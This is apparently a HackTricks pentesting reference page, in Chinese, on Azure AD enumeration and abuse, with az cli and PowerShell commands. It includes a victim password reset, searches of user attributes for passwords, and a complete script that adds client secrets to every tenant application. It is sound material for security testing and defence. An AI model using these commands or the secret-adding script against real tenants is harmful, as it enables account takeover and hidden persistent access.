Az - AzureAD (AAD)

支持 HackTricks

基本信息

Azure Active Directory (Azure AD) 是微软的基于云的身份和访问管理服务。它在使员工能够登录并访问组织内外的资源方面发挥着重要作用,包括 Microsoft 365、Azure 门户和众多其他 SaaS 应用程序。Azure AD 的设计重点在于提供基本的身份服务,主要包括 身份验证、授权和用户管理

Azure AD 的主要功能包括 多因素身份验证条件访问,以及与其他 Microsoft 安全服务的无缝集成。这些功能显著提升了用户身份的安全性,并使组织能够有效实施和执行其访问政策。作为微软云服务生态系统的基本组成部分,Azure AD 对于基于云的用户身份管理至关重要。

实体

枚举

对于此枚举,您可以使用 az cli 工具, PowerShell 模块 AzureAD (或 AzureAD Preview) 和 Az PowerShell 模块。

在 Linux 上,您需要安装 PowerShell Core:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

模块差异

  • AzureAD 是 Microsoft 的一个 PowerShell 模块,用于 管理 Azure AD。它不显示 Azure AD 对象的所有属性,无法用于访问 Azure 资源信息

  • Az PowerShell 是一个用于 从 PowerShell 命令行管理 Azure 资源 的模块。

连接

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

当你通过 CLI 登录到 Azure 时,无论使用什么程序,你都是在使用属于 Microsoft租户 中的 Azure 应用程序。这些应用程序,就像你可以在你的账户中创建的那样,都有一个客户端 ID。你 无法看到所有的 在控制台中可以看到的 允许的应用程序列表但它们默认是被允许的

例如,一个 powershell 脚本 通过客户端 ID 1950a258-227b-4e31-a9cf-717495945fc2 进行 身份验证 的应用程序。即使该应用程序在控制台中没有出现,系统管理员仍然可以 阻止该应用程序,以便用户无法使用通过该应用程序连接的工具访问。

然而,还有 其他客户端 ID 的应用程序 将允许你连接到 Azure

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

用户

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

更改用户密码

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Conditional Access Policies

强烈建议为每个用户添加 MFA,然而,一些公司可能不会设置它,或者可能会通过条件访问进行设置:用户将被 要求 MFA 如果 从特定位置、浏览器或 某些条件 登录。如果这些策略配置不正确,可能会容易受到 绕过。检查:

Groups

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

将用户添加到组

组的所有者可以将新用户添加到组中

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

组可以是动态的,这基本上意味着如果用户满足某些条件,它将被添加到组中。当然,如果条件基于用户可以控制属性,他可以滥用此功能以进入其他组。 请查看以下页面以了解如何滥用动态组:

服务主体 / 企业应用程序

请注意,PowerShell术语中的服务主体在Azure门户(网页)中称为企业应用程序

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

服务主体的所有者可以更改其密码。

列出并尝试在每个企业应用上添加客户端密钥

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### 角色

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

设备

# If you know how to do this send a PR!# Enumerate DevicesGet-AzureADDevice -All $true | fl *# List all the active devices (and not the stale devices)Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}# Get owners of all devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwnerGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Registred users of all the devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUserGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Get dives managed using IntuneGet-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}# Get devices owned by a userGet-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com# Get Administrative Units of a deviceGet-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

如果设备(VM)是 AzureAD 加入,来自 AzureAD 的用户将能够 登录。 此外,如果登录的用户是设备的 所有者,他将成为 本地管理员

应用程序

应用 是门户中的 应用注册(不是企业应用)。 但每个应用注册将创建一个具有相同名称的 企业应用服务主体)。 此外,如果应用是 多租户应用,将在 该租户 中创建另一个具有相同名称的企业应用(服务主体)。

当生成应用时,会授予两种类型的权限:

  • 授予服务主体的权限

  • 应用 可以代表 用户 拥有和使用的权限。

# List Appsaz ad app listaz ad app list --query "[].[displayName]" -o table# Get info of 1 Appaz ad app show --id 00000000-0000-0000-0000-000000000000# Search App by stringaz ad app list --query "[?contains(displayName,'app')].displayName"# Get the owner of an applicationaz ad app owner list --id <id> --query "[].[displayName]" -o table# List all the apps with an application passwordaz ad app list --query "[?passwordCredentials != null].displayName"# List apps that have key credentials (use of certificate authentication)az ad app list --query "[?keyCredentials != null].displayName"# List all registered applicationsGet-AzureADApplication -All $true# Get details of an applicationGet-AzureADApplication -ObjectId <id> | fl *# List all the apps with an application passwordGet-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}# Get owner of an applicationGet-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *# Get AppsGet-AzADApplication# Get details of one AppGet-AzADApplication -ObjectId <id># Get App searching by stringGet-AzADApplication | ?{$_.DisplayName -match "app"}# Get Apps with passwordGet-AzADAppCredential

具有权限 AppRoleAssignment.ReadWrite 的应用可以通过授予自己角色来 提升为全局管理员。 有关更多信息,请 查看此处

应用程序在请求令牌时用来证明其身份的秘密字符串是应用程序密码。 因此,如果找到这个 密码,您可以作为 服务主体 访问 租户。 请注意,此密码仅在生成时可见(您可以更改它,但无法再次获取)。 应用程序所有者 可以 添加密码(以便他可以冒充它)。 作为这些服务主体的登录 不会被标记为风险,并且 不会有 MFA。

应用程序与(企业应用程序或服务主体)的区别

Azure 中应用程序与服务主体之间的区别:

  • 应用程序/应用注册:是存在于您的 Azure AD 中的应用程序

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • 服务主体/企业应用程序:是您 Azure AD 中的安全对象,可以在 Azure 目录中拥有 权限,并与您的应用程序或第三方应用程序相关联

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • 如果权限非常敏感,管理员可能需要批准所授予的权限。

应用程序可以在 第三方租户 中运行,一旦您开始使用它并授予其访问权限,企业应用程序/服务主体将在您的租户中创建,以便为其提供所需的信息访问:

管理单位

用于更好地管理用户。

管理单位 限制角色中的权限到您定义的组织的任何部分。例如,您可以使用管理单位将 帮助台管理员 角色委派给区域支持专家,以便他们仅能管理他们支持的区域的用户。

因此,您可以将角色分配给管理员单位,其成员将拥有这些角色。

# Get Administrative UnitsGet-AzureADMSAdministrativeUnitGet-AzureADMSAdministrativeUnit -Id <id># Get ID of admin unit by string$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"# List the users, groups, and devices affected by the administrative unitGet-AzureADMSAdministrativeUnitMember -Id <id># Get the roles users have over the members of the AUGet-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Azure AD 身份保护 (AIP)

Azure AD 身份保护 (AIP) 是一种安全服务,利用自动检测和修复来帮助保护 Azure Active Directory 中的用户身份不被破坏。AIP 持续监控和评估用户登录和身份配置的风险,自动应用适当的安全措施,例如要求多因素身份验证或阻止潜在的危险活动。这帮助组织防止基于身份的安全漏洞。

流程:

  1. Azure AD 身份保护 监控用户活动 并收集用户 登录、身份验证 事件和其他相关活动的数据。

  2. 该服务使用 机器学习 算法分析这些数据并检测潜在的安全威胁。

  3. Azure AD 身份保护 为威胁分配风险等级(例如登录),并在需要时生成警报以执行某些自动操作。

Azure AD 密码保护 (APP)

Azure AD 密码保护 (APP) 是一种安全功能,通过强制实施强密码策略来帮助防止 Azure Active Directory 中的弱密码。APP 阻止 常用的弱密码 及其变体,降低与密码相关的漏洞风险。它可以同时在云级别和本地 Active Directory 上应用,增强整个组织的密码安全性。

参考文献

Last updated